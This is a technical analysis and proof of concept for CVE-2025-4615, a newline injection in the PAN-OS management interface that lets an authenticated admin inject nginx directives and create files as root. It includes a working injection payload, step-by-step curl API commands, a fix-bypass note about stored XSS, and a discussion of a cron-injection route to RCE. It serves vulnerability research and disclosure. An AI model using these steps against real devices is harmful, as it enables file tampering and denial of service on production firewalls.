## https://sploitus.com/exploit?id=98F897A6-225E-51DB-A7DC-C4808F5E184F
# CVE-2025-4615 โ Technical Analysis & Proof of Concept
**Vulnerability:** Improper Neutralization of Input in PAN-OS Management Web Interface
**Vendor Advisory:** https://security.paloaltonetworks.com/CVE-2025-4615
**CVSS 4.0:** 6.9 (MEDIUM) โ Integrity HIGH, Availability HIGH
**CWE:** CWE-83 (Improper Neutralization of Script in Attributes in a Web Page)
**CAPEC:** CAPEC-165 (File Manipulation)
**Credit:** Visa Inc.
**Date of Analysis:** 2026-03-26
---
## 1. Executive Summary
CVE-2025-4615 is a **newline injection vulnerability** in the `secure-proxy-user` configuration field of Palo Alto Networks PAN-OS. An authenticated administrator can inject newline characters (`\n`) into the proxy username via the XML API or web interface. During commit, this value is written **unsanitized** into `/etc/nginx/nginx.conf`, breaking out of a comment line and injecting arbitrary nginx directives.
**Impact:**
- **Arbitrary file creation/write** as root via injected `access_log` directive
- **Denial of Service** โ invalid directives prevent nginx reload, killing the management interface
- **Configuration corruption** across multiple system config files
**Note:** The vendor's fix (stripping newline characters) is **incomplete** โ the same field remains vulnerable to **stored Cross-Site Scripting (XSS)** because no output encoding or character allowlist is applied.
---
## 2. Root Cause Analysis
### 2.1 The Injection Point
The `secure-proxy-user` field is defined in the PAN-OS schema (`schema.xml`) as a plain string with no input sanitization:
```xml
```
Note: `secure-proxy-server` has a regex constraint (`regex="^([0-9a-zA-Z.:/_-])+$"`), but `secure-proxy-user` has **none**. There is a 31-character length limit, but no character restrictions.
### 2.2 The Vulnerable Config Writer
During commit, PAN-OS regenerates `/etc/nginx/nginx.conf` from a template (`/etc/nginx/nginx.conf.tmpl`). The template contains:
```nginx
#pan_proxy_comment %s
```
The `%s` placeholder is filled by the `libpanmp_mp.so` library function that concatenates proxy server, username, and encrypted password into a single string. On the **vulnerable** version, newline characters in the username are passed through verbatim.
### 2.3 The Resulting nginx.conf Corruption
When `secure-proxy-user` contains `a\naccess_log /tmp/pwn3;\n#`, the generated nginx.conf becomes:
```nginx
#pan_proxy_comment 8.8.8.9 a โ Comment (harmless)
access_log /tmp/pwn3; โ INJECTED DIRECTIVE (executed by nginx!)
# -AQ==encrypted_password== โ Password commented out by injected #
```
Line 1 is a comment. Line 2 is a **valid nginx directive** at the `http` block level. Line 3 is neutralized by the attacker's `#` character.
### 2.4 Why This Is Dangerous
The nginx master process runs as **root**. The `access_log` directive causes nginx to open/create the target file as root. This enables:
1. **Arbitrary file creation** anywhere on the filesystem
2. **Arbitrary file write** (HTTP access log content is appended)
3. **DoS** if an invalid directive is injected (nginx refuses to reload)
---
## 3. The Fix (and its Limitations)
On the **fixed** version (11.1.13), the config writer **strips newline characters** from the proxy username before writing it to nginx.conf. The same malicious value produces:
```nginx
#pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==
```
Everything stays on **one line**, safely inside the `#` comment.
**However, this fix is incomplete.** It only addresses newline injection. The `secure-proxy-user` field still accepts arbitrary characters (including `"`, ``) without output encoding, leaving the stored XSS vector wide open. See [unit-43-xss](https://github.com/sh00bx/unit-43-xss).
---
## 4. Proof of Concept
### Prerequisites
- Authenticated admin access to PAN-OS management (API or web UI)
- A configured `secure-proxy-server` (required for the proxy comment to appear)
### Step 1: Obtain API Key
```bash
curl -sk "https:///api/?type=keygen&user=admin&password="
```
### Step 2: Configure Proxy Server (if not set)
```bash
curl -sk -X POST "https:///api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode "element=8.8.8.9"
```
### Step 3: Inject Malicious Proxy Username
```bash
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Total: 26 characters (within 31-char limit)
# Injects: access_log /tmp/pwn3; โ creates /tmp/pwn3 as root
curl -sk -X POST "https:///api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode 'element=a
access_log /tmp/pwn3;
#'
```
### Step 4: Commit Configuration
```bash
curl -sk "https:///api/?type=commit&cmd=&key="
```
### Step 5: Verify
After commit completes (~30s):
- `/tmp/pwn3` is created with root ownership
- `nginx -t -c /etc/nginx/nginx.conf` reports: `syntax is ok`
- nginx reloads successfully with the injected directive
---
## 5. Propagation Analysis
The unsanitized `secure-proxy-user` value propagates to **multiple** files:
| File | Impact |
|------|--------|
| `/etc/nginx/nginx.conf` | **Critical** โ nginx directive injection |
| `/opt/pancfg/tmp/.tdb_conf.xml` | Template DB config (XML injection) |
| `/opt/pancfg/mgmt/audit/cfg-audit.xml,v` | Audit trail corruption |
| `/opt/pancfg/mgmt/replaydb/replay.db` | Replay database corruption |
| XSL-generated daemon configs (authd, cord, useridd, etc.) | XML value preserved with newlines |
The curlrc (`/root/.curlrc`) and wgetrc (`/root/.wgetrc`) writers **do strip** newlines, even on the vulnerable version. The nginx.conf writer was the only path that didn't sanitize.
---
## 6. RCE Assessment
Extensive testing of 11 attack vectors confirmed that **standalone OS-level RCE from CVE-2025-4615 alone is not achievable** on PAN-OS 11.1.6-h7 with nginx 1.20.1. The three critical blockers:
1. **nginx `\x0A` escaping** โ prevents raw newline injection into log files, blocking cron injection despite vixie-cron's tolerance of garbage lines (lab-confirmed: cron *does* execute valid lines surrounded by garbage)
2. **31-character limit** โ prevents combining `log_format` + `access_log` to gain content control over written files
3. **curlrc/wgetrc newline stripping** โ eliminates the secondary file-write channel
The advisory's "execute arbitrary commands" most likely refers to **arbitrary nginx directives**, not OS-level command execution. This is consistent with the CVSS VC:N (no confidentiality impact) and the nature of the fix.
**If any of the three blockers were absent**, RCE would be trivially achievable via cron injection.
---
*Analysis performed on isolated lab environment with PAN-OS 11.1.6-h7 (vulnerable) and PAN-OS 11.1.13 (fixed).*